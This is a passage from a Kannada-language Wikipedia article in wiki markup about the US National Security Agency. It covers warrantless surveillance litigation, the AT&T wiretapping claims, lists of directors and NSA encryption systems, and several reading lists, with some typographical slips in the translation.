ಸ್ಟೇಟ್ಸ್ ನ ನಾಗರಿಕರ ಸಂಭಾಷಣೆಯೊಂದಿಗೆ ಉಳಿದ ದೇಶಗಳ ಮಾಹಿತಿಯನ್ನೂ ಸಂಗ್ರಹಿಸಲಾಯಿತು. ಈ ಸರ್ವಲನ್ಸ್ ಯೋಜನೆಯ ಕೆಲವರು ಹೇಳುವ ಪ್ರಕಾರ ಇಂತಹ ಕೃತ್ಯಗಳನ್ನು ಅಧ್ಯಕ್ಷರು ತಮ್ಮ ಅಧಿಕಾರದ ವ್ಯಾಪ್ತಿ ಮೀರಿ ಚಲಾಯಿಸಬಹ್ದುದೆನ್ನುತ್ತಾರೆ.ಆತನಿಗೆ [[ಆಡಳಿತಾತ್ಮಕ ಅಧಿಕಾರ]] ಇರುತ್ತದೆ,ಉದಾಹರಣೆಗೆ FISA ನಂತಹಗಳನ್ನು ಅಧ್ಯಕ್ಷರು ತಮ್ಮ ಸಾಂವಿಧಾನಿಕ ವ್ಯಾಪ್ತಿಯನ್ನು ಮೀರಿ ಬಳಸಬಹ್ದುದೆಂದೂ ಹೇಳಲಾಗುತ್ತದೆ. ಇನ್ನು ಕೆಲವರ ಪ್ರಕಾರ FISA ನ್ನು ಹಲವಾರು ಅಧ್ಯಕ್ಷೀಯ ವ್ಯಕ್ತಿಗಳು ಹೆಚ್ಚು ಬಳಸಿದ ಉದಾಹರಣೆಗಳಿವೆ.ಇದರಲ್ಲಿ[[ಮಿಲಿಟರಿ ಅಧಿಕಾರವನ್ನು ಸಹ ಬಳಸುವ ಪರಮಾಧಿಕಾರ]] ಇರುತ್ತದೆ.ಆದರೂ ಸುಪ್ರಿಮ್ ಕೋರ್ಟ್ ನ [[ಹ್ಯಾಮ್ಡನ್ ವಿ ರಮ್ಸ್ ಫೆಲ್ಡ್]] ಅವರ ತೀರ್ಪಿನಂತೆ ಈ ಅಭಿಪ್ರಾಯ ಸಂವಿಧಾನಿಕ ಅಲ್ಲವಾದರೂ ಅದರ ದುರುಪಯೋಗದ ಸಾಧ್ಯತೆಯನ್ನು ತಳ್ಳಿಹಾಕಳಾಗುವದಿಲ್ಲ. ಆಗಷ್ಟ್ 2006ರಲ್ಲಿ[[U.S.ನ ಜಿಲ್ಲಾ ಕೋರ್ಟ್]]''[[ACLU v. NSA]]'' , ನ ನ್ಯಾಯಾಧೀಶರಾದ ಅನ್ನಾ ಡಿಗ್ಸ್ ಟೇಲರ್ ಅವರುNSA ಸಂಸ್ಥೆಯು ಮಾಡುತ್ತಿರುವ ಇಂತಹ ಚಟುವಟಿಕೆಯು ಕಾನೂನು ಬಾಹಿರ ಮತ್ತು ಅಸಂವಿಧಾನಾತ್ಮಕ ಎಂದು ತೀರ್ಪು ನೀಡಿದ್ದರು. ಜುಲೈ 6, 2007 ರಲ್ಲಿ[[6ನೆಯ ಸರ್ಕ್ಯುಟ್ ಕೋರ್ಟ್ ಆಫ್ ಅಪೀಲ್ಸ್]] ನ್ಯಾಯಾಧೀಶ ಟೇಲರ್ ಅವರ ತೀರ್ಪನ್ನು ತಳ್ಳಿಹಾಕಿಅದರ ಅಂಶಗಳನ್ನು ತದ್ವಿರುದ್ದ ಎಂದು ಹೇಳಿತು.<ref>[http://fl1.findlaw.com/news.findlaw.com/nytimes/docs/nsa/aclunsa70607opn.pdf 6ನೆಯ ಸರ್ಕುಯ್ಟ್ ಕೋರ್ಟ್ ಆಫ್ ಅಪೀಲ್ಸ್ ಡಿಸಿಜನ್]</ref> =====AT&amp;T ಇಂಟರ್ ನೆಟ್ ಉಸ್ತುವಾರಿ===== {{Further|[[Hepting v. AT&T]], [[Mark Klein]], [[NSA warrantless surveillance controversy]]}} ಕಳೆದ ಮೇ 2006ರಲ್ಲಿ[[AT&amp;T]]ಕಂಪನಿಯ ನಿವೃತ್ತ ನೌಕರ [[ಮಾರ್ಕ್ ಕ್ಲಿನ್]] ಹೇಳುವ ಪ್ರಕಾರ NSAನೊಂದಿಗೆ ತಮ್ಮ ಕಂಪನಿ ಸಹಕರಿಸಿ ಹಾರ್ಡ್ ವೇರ್ ನ್ನು ಸ್ಥಾಪಿಸಲು ಸಹಾಯ ಮಾಡಿದೆ.ಅಮೆರಿಕನ್ ನಾಗರಿಕರ ಪ್ರತಿಯೊಂದು ಸಂಪರ್ಕ ಜಾಲವನ್ನು ಕದ್ದು ನೋಡಲು ನೆರವಾಗಿದೆ ಎಂದು <ref name="mark">{{cite journal |year=2007 |month=February 16, |title=For Your Eyes Only? |journal=[[NOW (TV series)|NOW]] |url=http://www.pbs.org/now/shows/307/index.html }} on [[PBS]]</ref> ದೂರಿದ. =====ಸಂಪರ್ಕ ಜಾಲದ ಕದ್ದು ನೋಡುವಿಕೆ, ಬರಾಕ ಒಬಾಮಾ ನಿರ್ದೇಶನದಲ್ಲಿ===== ''ದಿ ನ್ಯುಯಾರ್ಕ್ ಟೈಮ್ಸ್'' ಪ್ರಕಾರ 2009ರಲ್ಲಿ ಬಂದ ವರದಿಯಂತೆNSA ಯು ಅಮೆರಿಕಾದ ಪ್ರಜೆಗಳ ಸ6ಪರ್ಕ ಜಾಲಗಳನ್ನು ಕದ್ದು ಮಾಹಿತಿಯನ್ನು ಸಂಗ್ರಹಿಸುತ್ತಿದ್ದು,ಇದರಲ್ಲಿ ಕಾಂಗ್ರೆಸ್ ಸದಸ್ಯ ರಾಜಕಾರಣಿಯ ಸಂಪರ್ಕಗಳನ್ನು ಅದು ಟ್ಯಾಪ್ ಮದಿದೆ ಎಂದರೂ ಸಹ [[ನ್ಯಾಯಾಂಗ ಇಲಾಖೆ]]ಯು NSA ಈಗಾಗಲೇ ಇಂತಹ ತಪ್ಪನ್ನು ಸರಿಪದಿಸ್ಕೊಂಡಿದೆ ಎಂದು ಸಮಜಾಯಿಸಿ <ref>{{cite news|author=Lichtblau, Eric and Risen, James|date=April 15, 2009|title=N.S.A.’s Intercepts Exceed Limits Set by Congress|url=https://www.nytimes.com/2009/04/16/us/16nsa.html|publisher=The New York Times|accessdate=2009-04-15}}</ref> ನೀಡಿದೆ. ಯುನೈಟೆಡ್ ಸ್ಟೇಟ್ಸ್ ಆಟಾರ್ನಿ ಜನರಲ್ [[ಎರಿಕ್ ಹೊಲ್ಡರ್]] ಅವರ ಪ್ರಕಾರ ಫಾರೆನ್ ಇಂಟೆಲಿಜೆನ್ಸ್ ಸರ್ವೆಲನ್ಸ್ ಆಕ್ಟ್ ಆಫ್ ದಿ 1978 ಕಾನೂನು ಇದ್ದರೂ ಅದರ ಬಗ್ಗೆ ವ್ಯಾಖ್ಯಾನ ಮಾಡಿಲ್ಲ.ಕಾಂಗ್ರೆಸ್ 2008ರಲ್ಲಿ ಈ ಕಾನೂನು ಪಾಸ್ ಮಾಡಿದರೂ ಅದರ ನಿಯಮ ಪಾಲನೆ ಮಾಡಿಲ್ಲ ಎಂದು <ref>{{cite news|author=Ackerman, Spencer|title=NSA Revelations Spark Push to Restore FISA|url=http://washingtonindependent.com/39153/nsa-revelations-spark-movement-to-restore-fisa|date=April 16, 2009|work=The Washington Independent|publisher=Center for Independent Media|accessdate=2009-04-19}}</ref> ಹೇಳುತ್ತಾರೆ. ====ಅಂಕಿಅಂಶ ಸಂಖ್ಯೆಗಳ ಹೊರತೆಗೆಯುವಿಕೆ ==== NSA ಯು ಯಾವಾಗಲೂ ತನ್ನ ಕಂಪೂಟಿಂಗ್ ಸಾಮರ್ಥ್ಯವನ್ನು ವಿದೇಶಿ ವ್ಯವಹಾರಗಳ ಮೇಲೆಯೊಂದು ಕಣ್ಣಿಡಲು ಬಳಸುತ್ತದೆ ಎಂದು ಹೇಳಲಾಗುತ್ತದೆ.ಬೇರೆ ಬೇರೆ ದೇಶಗಳಿಂದ ಬರುವ ಮತ್ತು ಸಂಗ್ರಹಿಸುವ ಮಾಹಿತಿಯನ್ನು ಅದು ಯಾವಾಗಲೂ ಆಯಾ ಸರ್ಕಾರಗಳ ಕಾನೂನು ನ್ವ್ಯಾಪ್ತಿಯಲ್ಲಿ ನೋಡಿ ಪರಿಗಣಿಸಿ ಪಡೆಯುತ್ತದೆ. ಸದ್ಯ ಅದು ತನ್ನ ಕಾರ್ಯವಿಶಾಲ ವ್ಯಾಪ್ತಿಗನುಗುಣವಾಗಿ ಸ್ಥಳೀಯ ಇಮೇಲ್ ಗಳು ಮತ್ತು ಇಂಟರ್ ನೆಟ್ ಸರ್ಚ್ ಗಳನ್ನು NSA ನಿಯಂತ್ರಿಸುತ್ತದೆ.ಅದರಂತೆ ಬ್ಯಾಂಕ್ ವರ್ಗಾವಣೆಗಳು,ಕ್ರೆಡಿಟ್ ಕಾರ್ಡ್ ವ್ಯವಹಾರಗಳು ಮತ್ತು ಸಂಚಾರ ಹಾಗು ದೂರವಾಣಿ ದಾಖಲೆಗಳು ಇತ್ಯಾದಿಗಳ ಬಗ್ಗೆ [[ವಾಲ್ ಸ್ಟ್ರೀಟ್ ಜರ್ನಲ್]] ನ ವರದಿಗಾರರು ಹಲವು ಅಧಿಕಾರಗಳನ್ನು ಸಂದರ್ಶನ <ref>{{cite news |url=http://online.wsj.com/public/article_print/SB120511973377523845.html |title=NSA's Domestic Spying Grows As Agency Sweeps Up Data |first=Siobahn |last=Gorman |publisher=The Wall Street Journal Online |date=2008-03-10 |accessdate=2008-03-17}}</ref> ಮಾಡಿದ್ದಾರೆ. ==ಟೀಕೆಗಳು== ಜನವರಿ 17,2006ರಲ್ಲಿ ಸೆಂಟರ್ ಫಾರ್ ಕಾನ್ಸ್ಟಿಟುಶನಲ್ ರೈಟ್ಸ್ [[CCR v. ಬುಶ್]] ಮೊಕದ್ದಮೆ ವಿರುದ್ದ [[ಬುಶ್ ಅಧ್ಯಕ್ಷೀಯ]] ಕಾಲಾವಧಿಯ ಬಗ್ಗೆ ಅರ್ಜಿಯನ್ನು ದಾಖಲಿಸಿತ್ತು. ಈ ಕಾನೂನು ಸಮರವು ರಾಷ್ಟ್ರೀಯ ಭದ್ರತಾ ಸಂಸ್ಥೆಯ (NSA)ಕಾರ್ಯ ಚಟುವಟಿಕೆಗಳನ್ನು ಪ್ರಶ್ನಿಸಿ ಜನರ ಸರ್ವಲನ್ಸ್ ಬಗ್ಗೆ ಹಾಗು CCRನ ಇಮೇಲ್ಸ್ ನ ಬಗ್ಗೆ ಯುನೈಟೆಡ್ ಸ್ಟೇಟ್ಸ್ ನ ಒಳಗಡೆ ಈ ರೀತಿ ಅಡಚಣೆ ಉಂಟಾಗುವುದನ್ನು ಹಲವರು ಆಕ್ಷೇಪಿಸಿದ್ದಾರೆ.ಯಾವುದೇ ಸಮರ್ಥೀನಿಯ ಆದೇಶವನ್ನು ನೋಡದೇ ಅದು ಇಮೇಲ್ ಟ್ಯಾಪ್ ಮಾಡುವುದನ್ನು ಕೂಡಾ <ref name="TheJurist200705may21"> {{cite news | url=http://jurist.law.pitt.edu/paperchase/2007/05/ex-guantanamo-lawyers-sue-for.php | date= May 19, 2007 | title=Ex-Guantanamo lawyers sue for recordings of client meetings | author=[[Mike Rosen-Molina]] | publisher=[[The Jurist]] | accessdate=2007-05-22 }}</ref><ref name="CcrVBushDocket"> {{cite web | url=http://ccrjustice.org/ourcases/current-cases/ccr-v.-bush | title=CCR v. Bush | publisher=[[Center for Constitutional Rights]] | accessdate=June 15, 2009 }}</ref> ಟೀಕಿಸಿದ್ದಾರೆ. ==ಸಂಘರ್ಷದಲ್ಲಿ== {{main|NSA in fiction}} ಸುಮಾರು 1990ರಲ್ಲಿ NSA ದ ಅಸ್ತಿತ್ವ ಆದಾಗಿನಿಂದ ಸುಮಾರು ಒಂದೆರಡು ದಶ್ಕಗಳಲ್ಲಿ ಬಹುತೇಕ ಎಲ್ಲರಿಗೂ ಪರಿಚಯವಾಗಿದೆ.ಈ ಸಂಸ್ಥೆಯು ಬಹಳಷ್ಟು ಭಾಗ ತನ್ನ ಗೂಢಚರ್ಯ ಕೆಲಸಗಳಿಂದ ಖ್ಯಾತಿ ಪಡೆದಿದೆ. ಹಲವಾರು ಸಂಸ್ಥೆಗಳು ಇದರ ಗುಪ್ತಚರ್ಯದ ಪಾತ್ರವನ್ನು ಅತಿಯಶಯವಾಗಿ ಚಿತ್ರಿಸುತ್ತಿರುವುದೂ ಕಂಡುಬರುತ್ತದೆ.ಇದರ ಗೂಢಚರ್ಯ ಕಾರ್ಯಗಳ ಬಗ್ಗೆ ಒಂದು ಅಪರೂಪದ ಕುತೂಹಲವೂ ಇರುತ್ತದೆ. ಈ ಸಂಸ್ಥೆಯು ಈಗ ಹಲವಾರು ಪುಸ್ತಕಗಳು,ಚಲಾನ್ಚಿತ್ರಗಳು,ಟೆಲೆವಿಜನ್ ಶೊಗಳು ಮತ್ತು ಕಂಪೂಟರ್ ಆಟಗಳಲ್ಲಿ ತನ್ನ ಪಾತ್ರ ತೋರಿಸಿದೆ. ಉದಾಹರಣೆಗೆ [[ಚಕ್]] ಎಂಬ TV ಸರಣಿಯಲ್ಲಿNSA ಯ ಕಾಲ್ಪನಿಕ ಕಾರ್ಯಚಟುವಟಿಕೆಯನ್ನು ಬಿಂಬಿಸಲಾಗಿದೆ.ಕ್ಷೇತ್ರವಾರು ಕೆಲಸಗಳು ಅದರ ಕಾರ್ಯವನ್ನು ಪರದೆಯ ಮೇಲೆ ತೋರಿಸುತ್ತದೆ. ==ಸಿಬ್ಬಂದಿ== {{main|Director of the National Security Agency}} {{Col-begin}} {{Col-break}} ===ನಿರ್ದೇಶಕರುಗಳು=== *ನವೆಂಬರ್ 1952 – ನವೆಂಬರ್1956 [[ಲೆ. ಜ.]] [[ರಾಲ್ಫ್ ಜೆ. ಕೆನೈ]], [[USA]] *ನವೆಂಬರ್ 1956 – ನವೆಂಬರ್ 1960 [[ಲೆ. ಜೆ.]] [[ಜಾನ್ ಎ. ಸ್ಯಾಮ್ ಫೊರ್ಡ್]], [[USAF]] *ನವೆಂಬರ್ 1960 – ಜನವರಿ 1962 [[ವಿ. ಅಡಮ್ .]] [[ಲಾರೆನ್ಸ್ ಎಚ್. ಫ್ರಾಸ್ಟ್]], [[USN]] *ಜನವರಿ 1962 – June 1965 [[ಲೆ. ಜೆ .]] [[ಗೊರ್ಡಾನ್ ಎ. ಬ್ಲೇಕ್]], [[USAF]] *ಜೂನ್ 1965 – ಆಗಷ್ಟ್ 1969 [[ಲೆ. ಜೆ .]] [[ಮಾರ್ಶೆಲ್ ಎಸ್. ಕಾರ್ಟ್ರ]], [[USA]] *ಆಗಷ್ಟ್ 1969 – ಆಗಷ್ಟ್ 1972 [[ವಿ. ಅಡಮ್.]] [[ನೊಯಿಲ್ ಎ. ಎಮ್. ಗೇಲರ್]], [[USN]] *ಆಗಷ್ಟ್ 1972 – ಆಗಷ್ಟ್ 1973 [[ಲೆ. ಜೆ.]] [[ಸ್ಯಾಮ್ಯುಲ್ ಸಿ. ಫಿಲಿಪ್ಸ್]], [[USAF]] *ಆಗಷ್ಟ್ 1973 – ಜುಲೈ 1977 [[ಲೆ. ಜ.]] [[ಲೆವ್ ಅಲ್ಲನ್, ಜೂ.]], [[USAF]] *ಜುಲೈ 1977 – ಏಪ್ರ್ಫಿಲ್ 1981 [[ವಿ. ಅಡಮ್.]] [[ಬಾಬಿ ರೇ ಇನ್ಮಾನ್]], [[USN]] *ಏಪ್ರಿಲ್ 1981 – ಮೇ 1985 [[ಲೆ. ಜ.]] [[ಲಿಂಕ್ಲನ್ ಡಿ. ಫಾರರ್]], [[USAF]] *ಮೇ 1985 – ಆಗಷ್ಟ್ 1988 [[ಲೆ. ಜ.]] [[ವಿಲಿಯಮ್ ಇ. ಒಡಮ್]], [[USA]] *ಆಗಷ್ಟ್ 1988 – ಮೇ 1992 [[V. Adm.]] [[ವಿಲಿಯಮ್ ಒ. ಸ್ಟುಡ್ ಮ್ಯಾನ್]], [[USN]] *ಮೇ 1992 – ಫೆಬ್ರವರಿ 1996 [[ವಿ. ಅಡ್ಮ್.]] [[ಜಾನ್ ಎಮ್. ಮ್ಯಾಕ್ಮ್ ನೆಲ್]], [[USN]] *ಫೆಬ್ರವರಿ 1996 – ಮಾರ್ಚ್ 1999 [[ಲೆ. ಜ.]] [[ಕೆನ್ನೆಥ್ ಎ. ಮೊನಿಹಾನ್]], [[USAF]] *ಮಾರ್ಚ್ 1999 – ಏಪ್ರಿಲ್ 2005 [[ಲೆ. ಜ.]] [[ಮೈಕೆಲ್ ವಿ. ಹೇಡನ್]], [[USAF]] *ಏಪ್ರಿಲ್ 2005 – ಸದ್ಯ [[ಲೆ. ಜ.]] [[ಕೀಥ್ ಬಿ . ಅಲೆಕ್ಸಾಂದರ್]], [[USA]] {{Col-break}} ===ಹೆಸರಾಂತ ಕ್ರಿಪ್ಟ್ ಅನಲಿಸ್ಟ್ಸ್=== *[[ಲಾಂಬ್ರೊಸ್ ಡಿ. ಕಾಲಿಮೊಸ್]] *[[ಎಗ್ನೆಸ್ ಮೆಯರ್ ಡ್ರಿಸ್ಕೊಲ್]] *[[ವಿಲಿಯಮ್ ಎಫ್ . ಫ್ರೈಡ್ಮಾನ್]] *[[ಸೊಲೊಮನ್ ಕುಲ್ ಬಾಕ್]] *[[ರಾಬರ್ಟ್ ಮೊರಿಸ್]] *[[ಫ್ರಾಂಕ್ ರೊವೆಲ್ಟ್]] *[[ಅಬ್ಱಾಮ್ ಸಿಂಕೊ]] *[[ಲ್ಪ್ಪ್ಯಿಸ್ ಡ್ಬ್ಲು. ಟೊರ್ಡ್ಸೆಲಾ]] *[[ಹರ್ಬರ್ಟ್ ಯಾರ್ಡ್ಲಿ]] {{Col-end}} ==NSA ಎನ್ ಸ್ಕ್ರಿ ಪಶನ್ ಸ್ಯ್ಸ್ಟೆಮ್ಸ್== [[File:STU-IIIphones.nsa.jpg|thumb|right|250px|ನ್ಯಾಶನಲ್ ಕ್ರಿಪ್ಟೊಲಾಜಿಕ್ ಮ್ಯುಸಿಯಮ್ ನಲ್ಲಿSTU-III ರಕ್ಷಣಾತ್ಮಕವಾಗಿರುವ ದೂರವಾಣಿಗಳ ಪ್ರದರ್ಶನ]] NSA ಯು ಎನ್ ಸ್ಕ್ರಿಪ್ಶನ್ ಸಂಬಂಧಿತ ಬಿಡಿಭಾಗಗಳನ್ನು ಉಸ್ತುವಾರಿಗಾಗೆ ಜವಾಬ್ದಾರಿ ಹೊಂದಿರುತ್ತದೆ. *[[EKMS]] ಎಲೆಕ್ಟ್ರಾನಿಕ್ ಕಕಿ ಮ್ಯಾನೇಜ್ ಮೆಂಟ್ ಸಿಸ್ಟೆಮ್ *[[FNBDT]] ಫುಚರ್ ನ್ಯಾರೊ ಬಾಂಡ್ ಡಿಜಿಟಲ್ ಟರ್ಮಿನಲ್ *[[ಫೊರ್ಟೆಜಾ]] ಎನ್ ಸ್ಕ್ರಿಪ್ಶನ್ ಬೇಸ್ಡ್ ಆನ್ ಪೊರ್ಟೇಬಲ್ ಕ್ರೊಪ್ಯೊ ತೊಕನ್ ಇನ್ [[PC ಕಾರ್ಡ್]] ಫಾರ್ಮೆಟ್ *[[KL-7]] ADONIS ಆಫ್-ಲೈನ್ ರಾಟರ್ ಎನ್ ಸ್ಕ್ರಿಪ್ಶನ್ ಮಶಿನ್ (post-WW II to 1980s) *[[KW-26]] ROMULUS ಎಲೆಕ್ಟ್ರಾನಿಕ್ ಇನ್ -ಲೈನ್ ಟೆಲೆಟೈಪ್ ಎನ್ ಕ್ರಿಪ್ಟರ್ (1960s–1980s) *[[KW-37]] JASON ಫ್ಲೀಟ್ ಬ್ರಾಡ್ ಕಾಸ್ಟ್ ಎನ್ ಕ್ರಿಪ್ಟರ್ (1960s–1990s) *[[KY-57]] VINSON ಟ್ಯಾಕ್ಟಿಕಲ್ ರೇಡಿಯೊ ವಾಯಿಸ್ ಎನ್ ಕ್ರಿಪ್ಟರ್ *[[KG-84]] ಡೆಡಿಕೇಟೆಡ್ ಡಾಟಾ ಎನ್ ಕ್ರಿಪ್ಶನ್ /ಡೆಕ್ರಿಪ್ಶನ್ *[[SINCGARS]] ಟ್ಯಾಕ್ಟಿಕಲ್ ರೇಡಿಯೊ ಉಯಿತ್ ಕ್ರಿಪ್ಟೊಗ್ರಾಫಿಕಲಿ ಕಂಟ್ರಲ್ ಫ್ರೆಕ್ವೆನ್ಸಿ ಹಾಪಿಂಗ್ *[[STE]] ಸೆಕ್ಯುರ್ ಟೆರ್ಮಿನಲ್ ಇಕ್ವೆಪ್ ಮೆಂಟ್ *[[STU-III]] ಸೆಕ್ಯುರ್ ಟೆಲಿಫೊನ್ ಉನಿಟ್, ಕರಂಟ್ಲಿ ಬಿಯಿಂಗ್ ಫೇಸ್ಡ್ ಔಟ್ ಬೈ ದಿ [[STE]] *[[TACLANE]] ಪ್ರಾಡಕ್ಟ್ ಲೈನ್ ಬೈ[[ಜನರಲ್ ಡೆನಾಮಿಕ್ಸ್ C4 ಸಿಸ್ಟೆಮ್ಸ್]] NSA ಸಂಸ್ಥೆಯಲ್ಲಿ U.S ಸರ್ಕಾರದಲ್ಲಿ ಬಳಸುವ ವಿಶೇಷ [[ಸೂಟೆ A]] ಮತ್ತು [[ಸೂಟೆ B]]ಎಂಬ ಹಂತಗಳನ್ನು ಬಳಸಿ ಕ್ರಿಪ್ಟೊಗ್ರಾಫಿಕ್ ಅಲ್ಗೊರಿದಮ್ ಗಳನ್ನು ಈ ಹಿಂದೆ [[NIST]] ಮೂಲಕ ಇದನ್ನು ಕಾರ್ಯಗತಗೊಳಿಸಬೇಕಾಗುತ್ತದೆ.ಇಡೀ ಪ್ರಕ್ರಿಯೆ ಇದರಲ್ಲಿ ಹೆಚ್ಚು ಮಾಹಿತಿಯು ವಿದೇಶಗಳ ರಾಜಕೀಯ ಮತ್ತು ರಾಜತಾಂತ್ರಿಕ ಗೂಢಚರ್ಯ ಕಾರ್ಯಚಟುವಟಿಕೆಗಳಿಗೆ ಇದು ಇಂಬು ನೀಡುತ್ತದೆ.ರಕ್ಷಣಾ ವ್ಯವಹಾರ ಇತರೆ ಕಾರ್ಯಗಳ ಬಗ್ಗೆ ಅದು ನಿಗಾ ಇಡುತ್ತದೆ. ==ಕೆಲವು ಹಿಂದಿನ NSAದ SIGINT ಚಟುವಟಿಕೆಗಳು== * [[ಗಲ್ಫ್ ಆಫ್ ಟೊಂಕಿನ್ ಇನ್ಸಿಡೆಂಟ್]] * [[ಕಒರಿಯನ್ ಏರ್ ಲೈನ್ಸ್ ಫ್ಲೈಟ್ 007]] * [[ಆಪಎರೇಶನ್ ಐವಿ ಬೆಲ್ಸ್]] * [[USS ಲಿಬರ್ಟಿ ಇನ್ಸಿಡೆಂಟ್]] * [[USS ಫಿಬ್ಲೊ(AGER-2)]] * [[VENONA ಪ್ರಾಜೆಕ್ಟ್]] ==ಇವನ್ನೂ ನೋಡಿ== <div> * [[ಜೇಮ್ಸ್ ಬ್ಯಾಮ್ ಫೊರ್ಡ್]] * [[ಬಯೊಮ್ಯಾಟ್ರಿಕ್ ಕನ್ಸೊರ್ಟಿಯಮ್]] * [[ಬ್ಯುರೊ ಆಫ್ ಇಂಟೆಲಿಜೆನ್ಸ್ ಅಂಡ್ ರಿಸರ್ಚ್]] * [[ಕೇಂದ್ರೀಯ ಗುಪ್ತಚರ ಸಂಸ್ಥೆ]] * [[ಸೆಂಟ್ರಲ್ ಸೆಕ್ಯುರಿಟಿ ಸರ್ವಿಸ್]] * [[U.S. ಏರ್ ಫೊರ್ಸ್ ಆಫಿಸ್ ಆಫ್ ಸ್ಪೆಸಿಯಲ್ ಇನ್ ವೆಸ್ಟಿಗೇಶನ್ಸ್]] * [[ಕೌಂಟರ್ ಇಂಟೆಲಿಜೆನ್ಸ್ ಫೀಲ್ಡ್ ಆಕ್ಟಿವಿಟಿ]] * [[ಕ್ರಿಪ್ಟೊಗ್ರಾಫಿಕ್ ಕ್ವಾರ್ಟೆರ್ಲಿ]] * [[ಡಿಫೆನ್ಸ್ ಸಿಗ್ನಲ್ಸ್ ಡೈರೆಕ್ಟೊರೇಟ್]] * [[ಡಿಫೆನ್ಸ್ ಇಂಟೆಲಿಜೆನ್ಸ್ ಏಜೆನ್ಸಿ]] * [[ಡಿಪ್ಲೊಮ್ಯಾಟಿಕ್ ಸೆಕ್ಯುರಿಟಿ ಸರ್ವಿಸ್]] * [[ಎಸ್ಪಿನೊಸ್]] * [[ತನಿಖೆಯ ಫೆಡರಲ್ ಬ್ಯೂರೊ]] * [[ಫೆಡರಲ್ ಲಾ ಎನ್ ಫೊರ್ಸೆಮೆಂಟ್ ಇನ್ ದಿ ಯುನೈಟೆಡ್ ಸ್ಟೇಟ್ಸ್]] * [[ಗವರ್ನ್ ಮೆಂಟ್ ಕಮ್ಯುನಿಕೇಶನ್ಸ್ ಹೆಡ್ ಕ್ವಾರ್ಟರ್ಸ]] * [[ಮಾರ್ಟಿನ್ ಅಂಡ್ ಮಿಚೆಲ್ ಡೆಫೆಕ್ಸನ್]] * [[ನಾರಸ್]] * [[ನ್ಯಾಶನಲ್ ಜಿಯೊಸ್ಪ್ಯಾಸಿಯಲ್-ಇಂಟೆಲಿಜೆನ್ಸ್ ಏಜೆನ್ಸಿ]] * [[ನ್ಯಾಶನಲ್ ರಿಕೊನೈಸೈನ್ಸ್ ಆಫಿಸ್]] * [[ನ್ಯಾಶನಲ್ ಸೆಕ್ಯುರಿಟಿ ವ್ಹಿಶಲ್ ಬ್ಲೊವರ್ಸ್ ಕೊಯಿಲೇಶನ್]] * [[NSA ಹಾಲ್ ಆಫ್ ಆನರ್]] * [[ರೊನಾಲ್ಡ್ ಪೆಲ್ಟೊನ್]] * [[ಪ್ರೊಜೆಕ್ಟ್ SHAMROCK]] * [[Q ಗ್ರುಪ್]] * [[ಸೆಕ್ಯುರಿಟಿ -ಎನ್ಹಾನ್ಸ್ಡ್ ಲಿನುಕ್ಸ್]] * [[ಸಿಗ್ನಲ್ ಇಂಟೆಲಿಜೆನ್ಸ್]] * [[ಸ್ಕಿಪ್ ಜ್ಯಾಕ್ (ಸೈಫರ್)]] * [[TEMPEST]] * [[ಟೈಪ್ 1 ಪ್ರಾಡಕ್ಟ್]] * [[ಯುನೈಟೆಡ್ ಸ್ಟೇಟ್ಸ್ ಡಿಪಾರ್ಟ್ ಮೆಂಟ್ ಆಫ್ ಹೋಮ್ ಲ್ಯಾಂಡ್ ಸೆಕ್ಯುರಿಟಿ]] * [[ಜಾನ್ ಆಂಥೊನಿ ವಾಕರ್]] </div> ===NSA ಕಂಪೂಟರ್ಸ್=== * [[IBM 7950 ಹಾರ್ವೆಸ್ಟ್]] * [[FROSTBURG]] ==ಆಕರಗಳು== {{Reflist}} ==ಹೆಚ್ಚಿನ ಮಾಹಿತಿಗಾಗಿ== * [[ಬಾಮ್ ಫೊರ್ಡ್ , ಜೇಮ್ಸ್]], ''[[Body of Secrets: Anatomy of the Ultra-Secret National Security Agency]]'' , ದಬಲ್ ಡೇ, 2001, ISBN 0-385-49907-8. * [[ಬ್ಯಾಮ್ ಫೊರ್ಡ್, ಜೇಮ್ಸ್]], ''[[ದಿ ಪಜಲ್ ಪ್ಯಾಲೇಸ್]]'' , ಪೆಂಗ್ಯುಇನ್ ಬುಕ್ಸ್, ISBN 0-14-006748-5. *{{cite book | last = Hanyok | first = Robert J. | year = 2002 | url = http://www.fas.org/irp/nsa/spartans/index.html | title = Spartans in Darkness: American SIGINT and the Indochina War, 1945-1975 | series = | location = | publisher = National Security Agency | accessdate = 2008-11-16 }} *{{cite book | last = Johnson | first = Thomas R. | year = 2008 | url = http://www.gwu.edu/~nsarchiv/NSAEBB/NSAEBB260/ | title = American Cryptology during the Cold War | series = | location = | publisher = National Security Agency: Center for Cryptological History | accessdate = 2008-11-16 }} * [[ಲೆವಿ , ಸ್ಟಿವೆನ್]], ''[[Crypto: How the Code Rebels Beat the Government—Saving Privacy in the Digital Age]]'' – ಡಿಸ್ಕಸನ್ ಆಫ್ ದಿ ಡೆವಲಪ್ ಮೆಂಟ್ ಆಫ್ ನಾನ್ -ಗವರ್ನ್ ಮೆಂಟ್ ಕ್ರಿಪ್ಟೊಗ್ರಾಫಿ, ಇನ್ಕ್ಲುಡಿಂಗ್ ಮೇನಿ ಅಕೌಂಟ್ಸ್ ಆಫ್ ಟಸೆಲ್ಸ್ ಉಯಿತ್ ದಿ NSA. * [[ರಾಡೆನ್ ಕೀಫೆ , ಪ್ಯಾಟ್ರಿಕ್]], ''[[Chatter: Dispatches from the Secret World of Global Eavesdropping]]'' , ರಾಂಡಮ್ ಹೌಸ್, ISBN 1-4000-6034-6. * [[ಲಿಸ್ಟನ್ , ರಾಬರ್ಟ್ A.]], ''[[The Pueblo Surrender: a Covert Action by the National Security Agency]]'' , ISBN 0-87131-554-8. * [[ಕಹನ, ಡೇವಿಡ್]], ''[[ದಿ ಕೋಡ್ ಬ್ರೆಕರ್ಸ್]]'' , 1181 pp., ISBN 0-684-83130-9. ಲುಕ್ ಫಾರ್ ದಿ 1967 ರಾದರ್ ದ್ಯಾನ್ ದಿ 1996 ಸಂಪುಟ. * [[ಟುಲ್ಲಿ, ಅಂಡ್ರಿವ್]], ''[[The Super Spies: More Secret, More Powerful than the CIA]]'' , 1969, LC 71080912. * [[ಬ್ಯಾಮ್ ಫೊರ್ಡ್ , ಜೇಮ್ಸ್]], [[ನ್ಯುಯಾರ್ಕ್ ಟೈಮ್ಸ್]], ಡಿಸೆಂಬರ್ 25, 2005; ದಿ ಏಜೆನ್ಸಿ ದ್ಯಾಟ್ ಕುಡ್ ಬೆ ಬಿಗ್ ಬ್ರದರ್. 